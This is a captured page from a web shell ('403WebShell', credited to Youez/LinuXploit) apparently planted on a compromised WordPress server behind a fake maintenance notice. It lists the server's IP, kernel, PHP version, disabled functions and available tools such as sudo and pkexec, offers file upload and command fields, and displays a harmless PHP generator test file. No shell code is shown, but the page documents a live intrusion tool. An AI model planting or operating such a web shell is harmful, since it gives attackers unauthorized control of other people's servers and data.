WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/Zend/tests/generators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/Zend/tests/generators/yield_from_multi_tree_exception.phpt
--TEST--
yield from on multiple trees needing merge
--FILE--
<?php

function from($levels) {
	foreach (range(0, 2 << $levels) as $v) {
		yield $v;
		if ($v == (1 << ($levels - 1)) - 2) {
			throw new Exception();
		}
	}
}

function gen($gen, $level) {
	yield from $gen;
}

$levels = 5;

print "$levels levels\n\n";

$all = array();
$all[] = $gens[0][0] = from($levels);

for ($level = 1; $level < $levels; $level++) {
	for ($i = 0; $i < (1 << $level); $i++) {
		$all[] = $gens[$level][$i] = gen($gens[$level-1][$i >> 1], $level);
	}
}

for ($i = 0; $i < 2; $i++) {
	try {
		foreach ($all as $gen) {
			var_dump($gen->current());
			$gen->next();
			if (!$gen->valid()) {
				break;
			}
		}
	} catch(Exception $e) {
		print "$e\n";
		unset($all[array_search($gen, $all)]);
	}
}
?>
--EXPECTF--
5 levels

int(0)
int(1)
int(2)
int(3)
int(4)
int(5)
int(6)
int(7)
int(8)
int(9)
int(10)
int(11)
int(12)
int(13)
int(14)
Exception in %s:%d
Stack trace:
#0 %s(%d): from(5)
#1 %s(%d): gen(Object(Generator), 1)
#2 %s(%d): gen(Object(Generator), 2)
#3 [internal function]: gen(Object(Generator), 3)
#4 %s(%d): Generator->next()
#5 {main}
ClosedGeneratorException: Generator yielded from aborted, no return value available in %s:%d
Stack trace:
#0 [internal function]: gen(Object(Generator), 1)
#1 %s(%d): Generator->current()
#2 {main}

Youez - 2016 - github.com/yon3zu
LinuXploit